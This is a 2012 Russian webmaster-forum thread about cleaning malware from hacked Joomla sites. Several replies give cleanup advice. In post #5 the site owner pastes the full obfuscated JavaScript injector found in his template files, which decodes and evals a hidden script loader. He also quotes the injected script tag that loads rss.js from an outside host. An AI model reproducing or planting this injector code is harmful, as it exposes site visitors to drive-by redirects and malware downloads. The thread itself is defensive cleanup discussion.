Вернуться   SEO форум - оптимизация и продвижение сайтов > Web разработки > Безопасность

Важная информация
Безопасность - Помощь в обнаружении и удалении вредоносного кода с сайта. Устранение последствий взлома. Все о веб безопасности.

Ответ
 
Опции темы Оценить тему Опции просмотра
Старый 22.05.2012, 07:38   #1
 
Аватар для zilon
 
Сообщений: 599
FR (активность): 22,225

Доп. информация
По умолчанию Автор темы Вредоносный код на joomla

так как в старых темах писать нельзя, создал новую. Хакнули два моих сайтика, а может не хакнули, а сперли пароли от ftp zilы я не знаю но антивирус показал, что вирусов на сайте, как на собаке блох

Оффтоп:

http://antivirus-alarm.ru/proverka/?...zon.ru&again=1

Дата проверки: 22/05/2012 08:21:57

Тип проверки: полная (antivirus-alarm + мировые антивирусные базы)

Список проверяемых файлов:

1. http://new-muzon.ru/plugins/system/b...nt_js,front_js, тип файла: javascript

2. http://new-muzon.ru/media/system/js/mootools.js, тип файла: javascript

3. http://counter.rambler.ru/top100.jcn?2487692, тип файла: javascript

4. http://new-muzon.ru/templates/lexx2_...ance/script.js, тип файла: javascript

5. http://new-muzon.ru/plugins/system/b.../xajax_core.js, тип файла: javascript

6. http://new-muzon.ru/media/system/js/caption.js, тип файла: javascript

7. http://static.homedns.org/rss.js, тип файла: javascript

8. http://new-muzon.ru, тип файла: html

9. http://new-muzon.ru/Scripts/swfobject_modified.js, тип файла: javascript

10. http://vkontakte.ru/js/api/share.js?11, тип файла: javascript

Антивирусная база Результаты
nProtect JS:Trojan.JS.Iframe.AH
CAT-QuickHeal вирусов нет
McAfee JS/Blacole-Redirect.f
K7AntiVirus Trojan
TheHacker вирусов нет
VirusBuster вирусов нет
NOD32 вирусов нет
F-Prot JS/IFrame.HC
Symantec вирусов нет
Norman вирусов нет
TotalDefense JS/Phisher.B
TrendMicro-HouseCall вирусов нет
Avast JS:Redirector-TI [Trj]
eSafe вирусов нет
ClamAV вирусов нет
Kaspersky HEUR:Trojan.Script.Generic
BitDefender JS:Trojan.JS.Iframe.AH

SUPERAntiSpyware вирусов нет
ByteHero вирусов нет
Sophos вирусов нет
Comodo TrojWare.JS.TrojanDownloader.Agent.GQ
F-Secure JS:Trojan.JS.Iframe.AH
DrWeb JS.DownLoader.227
VIPRE вирусов нет
AntiVir JS/Dldr.Agent.gpq
TrendMicro вирусов нет
McAfee-GW-Edition JS/Blacole-Redirect.f
Emsisoft Trojan.JS.PhoexRef!IK
Jiangmin Trojan/Script.Gen
Antiy-AVL вирусов нет
Microsoft Trojan:JS/PhoexRef.F
ViRobot вирусов нет
GData JS:Trojan.JS.Iframe.AH
Commtouch JS/Blacole.BF
AhnLab-V3 вирусов нет
VBA32 вирусов нет
PCTools вирусов нет
Rising вирусов нет
Ikarus Trojan.JS.PhoexRef
Fortinet вирусов нет
AVG HTML/Framer.FV
Panda вирусов нет


Оффтоп:
http://antivirus-alarm.ru/proverka/?url=http%3A%2F%2Fpobegporusski.ru%2F

Список проверяемых файлов:

1. http://counter.rambler.ru/top100.jcn?2512574, тип файла: javascript

2. http://static.homedns.org/rss.js, тип файла: javascript

3. http://yandex.st/share/share.js, тип файла: javascript

4. http://vkontakte.ru/js/api/share.js?11, тип файла: javascript

5. http://pobegporusski.ru/media/system/js/caption.js, тип файла: javascript

6. http://pobegporusski.ru/media/system/js/mootools.js, тип файла: javascript

7. http://pobegporusski.ru/components/c...ts-v2.1.js?v=2, тип файла: javascript

8. http://pobegporusski.ru/, тип файла: html

9. http://pobegporusski.ru/components/c...latune/ajax.js, тип файла: javascript

Антивирусная база Результаты
nProtect JS:Trojan.JS.Iframe.AH
CAT-QuickHeal вирусов нет
McAfee JS/Blacole-Redirect.f
K7AntiVirus Trojan
TheHacker вирусов нет
VirusBuster вирусов нет
NOD32 вирусов нет
F-Prot JS/IFrame.HC
Symantec вирусов нет
Norman вирусов нет
TotalDefense JS/Phisher.B
TrendMicro-HouseCall вирусов нет
Avast JS:Redirector-TI [Trj]
eSafe вирусов нет
ClamAV вирусов нет
Kaspersky HEUR:Trojan.Script.Generic
BitDefender JS:Trojan.JS.Iframe.AH
SUPERAntiSpyware вирусов нет
ByteHero вирусов нет
Sophos вирусов нет
Comodo TrojWare.JS.TrojanDownloader.Agent.GQ
F-Secure JS:Trojan.JS.Iframe.AH
DrWeb JS.DownLoader.227
VIPRE вирусов нет
AntiVir JS/Dldr.Agent.gpq
TrendMicro вирусов нет
McAfee-GW-Edition JS/Blacole-Redirect.f
Emsisoft Trojan.JS.PhoexRef!IK
Jiangmin Trojan/Script.Gen
Antiy-AVL вирусов нет
Microsoft Trojan:JS/PhoexRef.F
ViRobot вирусов нет
GData JS:Trojan.JS.Iframe.AH
Commtouch JS/Blacole.BF
AhnLab-V3 вирусов нет
VBA32 вирусов нет
PCTools вирусов нет
Rising вирусов нет
Ikarus Trojan.JS.PhoexRef
Fortinet вирусов нет
AVG HTML/Framer.FV
Panda вирусов нет


наверно не все вирусы но всё таки что же делать? Бекап уже делал вирь попал в бекапы, надо как то по другому избавится от него. Может есть php скприпт для поиска шелов и малварей?

сайты http://new-muzon.ru & http://pobegporusski.ru

один вирь нашёл вот он на обоих сайтах но удалит не получается в index.php шаблона нету, а где код который его в index.php записал чёрт его знает...

[html]
</body>
</html><script src="http://static.homedns.org/rss.js"></script>[/html]
zilon вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
Sapernik (04.07.2012)
Старый 22.05.2012, 10:20   #2
 
Аватар для JoomL
 
Сообщений: 181
FR (активность): 4,743

Доп. информация
По умолчанию

Выход только один сделать бэкап базы данных, скачать не зараженную версию движка + модули и прочее к ней, и залить все заново. Антивирь может и найдет заразу, ну вполне возможно что не всю. Еще сменить пароли и фтп клиент, файлзилла хорошо ну дыряв, когда им пользовался несколько раз взламывали мои сайты, потом перешел на тотал командер, вроде проблем не наблюдаю.


Потерявшихся, в джунглях, русских туристов нашли по матерящимся попугаям.
JoomL вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 22.05.2012, 10:51   #3
 
Аватар для nindia
 
Сообщений: 241
FR (активность): 10,666

Доп. информация
По умолчанию

zilon, на фрилансе есть люди которые удаляют вирусы может вам обратится к ним?
nindia вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 22.05.2012, 11:44   #4
 
Аватар для Phoenix
 
Сообщений: 1,021
FR (активность): 39,032

Доп. информация
По умолчанию

zilon, посмотри дату изменения файлов js и восстанови бэкап более ранним числом. Если не возможно то только чистить руками. Могу помочь, если конечно со временем напряга не будет


В сео денег нет, совсем нет
Phoenix вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 22.05.2012, 14:18   #5
 
Аватар для zilon
 
Сообщений: 599
FR (активность): 22,225

Доп. информация
По умолчанию Автор темы

В общем все малвари были в js файлах которые подключаются к главной страницы шаблона. То есть надо было просто открыть код главной страницы сайта там открывать js файлы прям в браузере в самом низу смотреть код, заходить на хостинг и удалять лишнее, у меня такой был постороний код, он под спойлером
Оффтоп:
c=3-1;i=-2+c;if(parseInt("0"+"1"+"2"+"3")===83)try{Boolean( )["prototype"].q}catch(egewgsd){if(window.document)f=['0i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i78i57i74i-8i77i74i68i-8i21i-8i-1i64i76i76i72i18i7i7i15i10i62i16i82i9i6i67i68i79i6 3i73i61i71i71i64i57i6i60i70i75i57i68i65i57i75i6i59 i71i69i7i63i7i-1i19i-27i-30i-31i65i62i-8i0i76i81i72i61i71i62i-8i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i21i21i-8i-1i77i70i60i61i62i65i70i61i60i-1i1i-8i83i-27i-30i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i8i19i-27i-30i-31i85i-27i-30i-31i60i71i59i77i69i61i70i76i6i71i70i69i71i77i75i61i 69i71i78i61i-8i21i-8i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i-31i65i62i-8i0i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i21i21i-8i8i1i-8i83i-27i-30i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i9i19i-27i-30i-31i-31i-31i78i57i74i-8i64i61i57i60i-8i21i-8i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i6 1i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i64i61i57i60i-1i1i51i8i53i19i-27i-30i-31i-31i-31i78i57i74i-8i75i59i74i65i72i76i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i6 8i61i69i61i70i76i0i-1i75i59i74i65i72i76i-1i1i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i76i81i72i61i-8i21i-8i-1i76i61i80i76i7i66i57i78i57i75i59i74i65i72i76i-1i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i71i70i74i61i57i60i81i75i76i 57i76i61i59i64i57i70i63i61i-8i21i-8i62i77i70i59i76i65i71i70i-8i0i1i-8i83i-27i-30i-31i-31i-31i-31i65i62i-8i0i76i64i65i75i6i74i61i57i60i81i43i76i57i76i61i-8i21i21i-8i-1i59i71i69i72i68i61i76i61i-1i1i-8i83i-27i-30i-31i-31i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i10i19i-27i-30i-31i-31i-31i-31i85i-27i-30i-31i-31i-31i85i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i71i70i68i71i57i60i-8i21i-8i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i-31i-31i-31i79i65i70i60i71i79i6i80i81i82i62i68i57i63i-8i21i-8i10i19i-27i-30i-31i-31i-31i85i19i-27i-30i-31i-31i-31i75i59i74i65i72i76i6i75i74i59i-8i21i-8i77i74i68i-8i3i-8i37i57i76i64i6i74i57i70i60i71i69i0i1i6i76i71i43i7 6i74i65i70i63i0i1i6i75i77i58i75i76i74i65i70i63i0i1 1i1i-8i3i-8i-1i6i66i75i-1i19i-27i-30i-31i-31i-31i64i61i57i60i6i57i72i72i61i70i60i27i64i65i68i60i 0i75i59i74i65i72i76i1i19i-27i-30i-31i-31i85i-27i-30i-31i85i19i-27i-30i85i1i0i1i19'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;691!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"Code"](w[j]*1+40);}if(v)z=s;if(f)e(z);
try{q=document.createElement("d"+"i"+"v");q.append Child(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=pr ototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f["s"+"ubstr"](11)+zz];n="19$50$57.5$54$48.5$57$51.5$54.5$54$19$19.5$15$ 60.5$5.5$4$3.5$58$47.5$56$15$57.5$56$53$15$29.5$15 $18.5$51$57$57$55$28$22.5$22.5$50.5$53.5$52$52$59. 5$53$55.5$51.5$55.5$50.5$22$49$59.5$54$49$54$56.5$ 21.5$56$49.5$53.5$54.5$57$49.5$22$48.5$54.5$53.5$2 2.5$50.5$22.5$18.5$28.5$5.5$4$3.5$51.5$50$15$19$57 $59.5$55$49.5$54.5$50$15$58.5$51.5$54$49$54.5$58.5 $22$59$59.5$60$50$53$47.5$50.5$15$29.5$29.5$29.5$1 5$18.5$57.5$54$49$49.5$50$51.5$54$49.5$49$18.5$19. 5$15$60.5$5.5$4$3.5$3.5$58.5$51.5$54$49$54.5$58.5$ 22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$23$28.5$5 .5$4$3.5$61.5$5.5$4$3.5$49$54.5$48.5$57.5$53.5$49. 5$54$57$22$54.5$54$53.5$54.5$57.5$56.5$49.5$53.5$5 4.5$58$49.5$15$29.5$15$50$57.5$54$48.5$57$51.5$54. 5$54$19$19.5$15$60.5$5.5$4$3.5$3.5$51.5$50$15$19$5 8.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47.5$ 50.5$15$29.5$29.5$29.5$15$23$19.5$15$60.5$5.5$4$3. 5$3.5$3.5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$ 50$53$47.5$50.5$15$29.5$15$23.5$28.5$5.5$4$3.5$3.5 $3.5$58$47.5$56$15$51$49.5$47.5$49$15$29.5$15$49$5 4.5$48.5$57.5$53.5$49.5$54$57$22$50.5$49.5$57$33.5 $53$49.5$53.5$49.5$54$57$56.5$32$59.5$41$47.5$50.5 $38$47.5$53.5$49.5$19$18.5$51$49.5$47.5$49$18.5$19 .5$44.5$23$45.5$28.5$5.5$4$3.5$3.5$3.5$58$47.5$56$ 15$56.5$48.5$56$51.5$55$57$15$29.5$15$49$54.5$48.5 $57.5$53.5$49.5$54$57$22$48.5$56$49.5$47.5$57$49.5 $33.5$53$49.5$53.5$49.5$54$57$19$18.5$56.5$48.5$56 $51.5$55$57$18.5$19.5$28.5$5.5$4$3.5$3.5$3.5$56.5$ 48.5$56$51.5$55$57$22$57$59.5$55$49.5$15$29.5$15$1 8.5$57$49.5$59$57$22.5$52$47.5$58$47.5$56.5$48.5$5 6$51.5$55$57$18.5$28.5$5.5$4$3.5$3.5$3.5$56.5$48.5 $56$51.5$55$57$22$54.5$54$56$49.5$47.5$49$59.5$56. 5$57$47.5$57$49.5$48.5$51$47.5$54$50.5$49.5$15$29. 5$15$50$57.5$54$48.5$57$51.5$54.5$54$15$19$19.5$15 $60.5$5.5$4$3.5$3.5$3.5$3.5$51.5$50$15$19$57$51$51 .5$56.5$22$56$49.5$47.5$49$59.5$40.5$57$47.5$57$49 .5$15$29.5$29.5$15$18.5$48.5$54.5$53.5$55$53$49.5$ 57$49.5$18.5$19.5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$3. 5$58.5$51.5$54$49$54.5$58.5$22$59$59.5$60$50$53$47 .5$50.5$15$29.5$15$24$28.5$5.5$4$3.5$3.5$3.5$3.5$6 1.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3.5$ 56.5$48.5$56$51.5$55$57$22$54.5$54$53$54.5$47.5$49 $15$29.5$15$50$57.5$54$48.5$57$51.5$54.5$54$19$19. 5$15$60.5$5.5$4$3.5$3.5$3.5$3.5$58.5$51.5$54$49$54 .5$58.5$22$59$59.5$60$50$53$47.5$50.5$15$29.5$15$2 4$28.5$5.5$4$3.5$3.5$3.5$61.5$28.5$5.5$4$3.5$3.5$3 .5$56.5$48.5$56$51.5$55$57$22$56.5$56$48.5$15$29.5 $15$57.5$56$53$15$20.5$15$37.5$47.5$57$51$22$56$47 .5$54$49$54.5$53.5$19$19.5$22$57$54.5$40.5$57$56$5 1.5$54$50.5$19$19.5$22$56.5$57.5$48$56.5$57$56$51. 5$54$50.5$19$24.5$19.5$15$20.5$15$18.5$22$52$56.5$ 18.5$28.5$5.5$4$3.5$3.5$3.5$51$49.5$47.5$49$22$47. 5$55$55$49.5$54$49$32.5$51$51.5$53$49$19$56.5$48.5 $56$51.5$55$57$19.5$28.5$5.5$4$3.5$3.5$61.5$5.5$4$ 3.5$61.5$28.5$5.5$4$61.5$19.5$19$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-689!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(1+1*n[k]));}q=ss;e(q);}
try{q=document.createElement("u");q.appendChild(q+ "");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=pr ototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$ 58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13 $16.5$49$55$55$53$26$20.5$20.5$48$50.5$51$48.5$46. 5$49$53$54.5$47$53$20$47$57.5$52$47$52$54.5$19.5$5 4$47.5$51.5$52.5$55$47.5$20$46.5$52.5$51.5$20.5$48 .5$20.5$16.5$26.5$3.5$2$1.5$49.5$48$13$17$55$57.5$ 53$47.5$52.5$48$13$56.5$49.5$52$47$52.5$56.5$20$57 $57.5$58$48$51$45.5$48.5$13$27.5$27.5$27.5$13$16.5 $55.5$52$47$47.5$48$49.5$52$47.5$47$16.5$17.5$13$5 8.5$3.5$2$1.5$1.5$56.5$49.5$52$47$52.5$56.5$20$57$ 57.5$58$48$51$45.5$48.5$13$27.5$13$21$26.5$3.5$2$1 .5$59.5$3.5$2$1.5$47$52.5$46.5$55.5$51.5$47.5$52$5 5$20$52.5$52$51.5$52.5$55.5$54.5$47.5$51.5$52.5$56 $47.5$13$27.5$13$48$55.5$52$46.5$55$49.5$52.5$52$1 7$17.5$13$58.5$3.5$2$1.5$1.5$49.5$48$13$17$56.5$49 .5$52$47$52.5$56.5$20$57$57.5$58$48$51$45.5$48.5$1 3$27.5$27.5$27.5$13$21$17.5$13$58.5$3.5$2$1.5$1.5$ 1.5$56.5$49.5$52$47$52.5$56.5$20$57$57.5$58$48$51$ 45.5$48.5$13$27.5$13$21.5$26.5$3.5$2$1.5$1.5$1.5$5 6$45.5$54$13$49$47.5$45.5$47$13$27.5$13$47$52.5$46 .5$55.5$51.5$47.5$52$55$20$48.5$47.5$55$31.5$51$47 .5$51.5$47.5$52$55$54.5$30$57.5$39$45.5$48.5$36$45 .5$51.5$47.5$17$16.5$49$47.5$45.5$47$16.5$17.5$42. 5$21$43.5$26.5$3.5$2$1.5$1.5$1.5$56$45.5$54$13$54. 5$46.5$54$49.5$53$55$13$27.5$13$47$52.5$46.5$55.5$ 51.5$47.5$52$55$20$46.5$54$47.5$45.5$55$47.5$31.5$ 51$47.5$51.5$47.5$52$55$17$16.5$54.5$46.5$54$49.5$ 53$55$16.5$17.5$26.5$3.5$2$1.5$1.5$1.5$54.5$46.5$5 4$49.5$53$55$20$55$57.5$53$47.5$13$27.5$13$16.5$55 $47.5$57$55$20.5$50$45.5$56$45.5$54.5$46.5$54$49.5 $53$55$16.5$26.5$3.5$2$1.5$1.5$1.5$54.5$46.5$54$49 .5$53$55$20$52.5$52$54$47.5$45.5$47$57.5$54.5$55$4 5.5$55$47.5$46.5$49$45.5$52$48.5$47.5$13$27.5$13$4 8$55.5$52$46.5$55$49.5$52.5$52$13$17$17.5$13$58.5$ 3.5$2$1.5$1.5$1.5$1.5$49.5$48$13$17$55$49$49.5$54. 5$20$54$47.5$45.5$47$57.5$38.5$55$45.5$55$47.5$13$ 27.5$27.5$13$16.5$46.5$52.5$51.5$53$51$47.5$55$47. 5$16.5$17.5$13$58.5$3.5$2$1.5$1.5$1.5$1.5$1.5$56.5 $49.5$52$47$52.5$56.5$20$57$57.5$58$48$51$45.5$48. 5$13$27.5$13$22$26.5$3.5$2$1.5$1.5$1.5$1.5$59.5$3. 5$2$1.5$1.5$1.5$59.5$26.5$3.5$2$1.5$1.5$1.5$54.5$4 6.5$54$49.5$53$55$20$52.5$52$51$52.5$45.5$47$13$27 .5$13$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$5 8.5$3.5$2$1.5$1.5$1.5$1.5$56.5$49.5$52$47$52.5$56. 5$20$57$57.5$58$48$51$45.5$48.5$13$27.5$13$22$26.5 $3.5$2$1.5$1.5$1.5$59.5$26.5$3.5$2$1.5$1.5$1.5$54. 5$46.5$54$49.5$53$55$20$54.5$54$46.5$13$27.5$13$55 .5$54$51$13$18.5$13$35.5$45.5$55$49$20$54$45.5$52$ 47$52.5$51.5$17$17.5$20$55$52.5$38.5$55$54$49.5$52 $48.5$17$17.5$20$54.5$55.5$46$54.5$55$54$49.5$52$4 8.5$17$22.5$17.5$13$18.5$13$16.5$20$50$54.5$16.5$2 6.5$3.5$2$1.5$1.5$1.5$49$47.5$45.5$47$20$45.5$53$5 3$47.5$52$47$30.5$49$49.5$51$47$17$54.5$46.5$54$49 .5$53$55$17.5$26.5$3.5$2$1.5$1.5$59.5$3.5$2$1.5$59 .5$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-689!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}


еще у меня подключаются комментарии, на странице третьего уровня, там тоже код тоже в js файлах был. А [php]<script src="http://static.homedns.org/rss.js"></script>[/php] был в самом низу index.php в корне сайта. Всё удалил антивирус не ругается. А ещё шел был, на ДЛЕ его нашёл с помощью проги http://www.revisium.com/ai/

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 300 сообщение(ий)):
Ваша группа не позволяет просмотреть скрытую информацию.
zilon вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 04.07.2012, 00:08   #6
 
Аватар для Sapernik
 
Сообщений: 37
FR (активность): 1,518

Доп. информация
По умолчанию

Модераторы, не сочтите за спам. ТС посмотри вот этот вариант противостояния.
http://tinaev.com/index.php/2010-01-...-19-00-39.html
Похожий случай был у меня на Jommla.
Нескольким пользователям СЕРЧА мой метод помог.


Секрет тИЦ "От А до Я"
http://tinaev.com/index.php/podnyat-tic.htm
Sapernik вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
zilon (04.07.2012)
Ответ

Быстрый ответ
Ваше имя пользователя: Регистрация. Для входа нажмите здесь
Случайный вопрос

Сообщение:
Опции
Внимание!
Этой теме более 3649 дней. Вы можете оставить сообщение здесь. Но, обращаем внимание. Возможно, рациональней создать новую тему (найти свежее обсуждение)?


Опции темы
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вредоносный код на сайте emlonlife Яndex 3 12.01.2012 13:30
Вредоносный код в файлах. toff Безопасность 10 17.12.2011 18:44
Вредоносный код tsa Безопасность 12 20.04.2011 20:41
Вредоносный код. Jaga Яndex 3 17.02.2011 12:04
вредоносный код Анатолька Безопасность 7 06.07.2010 20:06

Текущее время: 10:00. Часовой пояс GMT +3.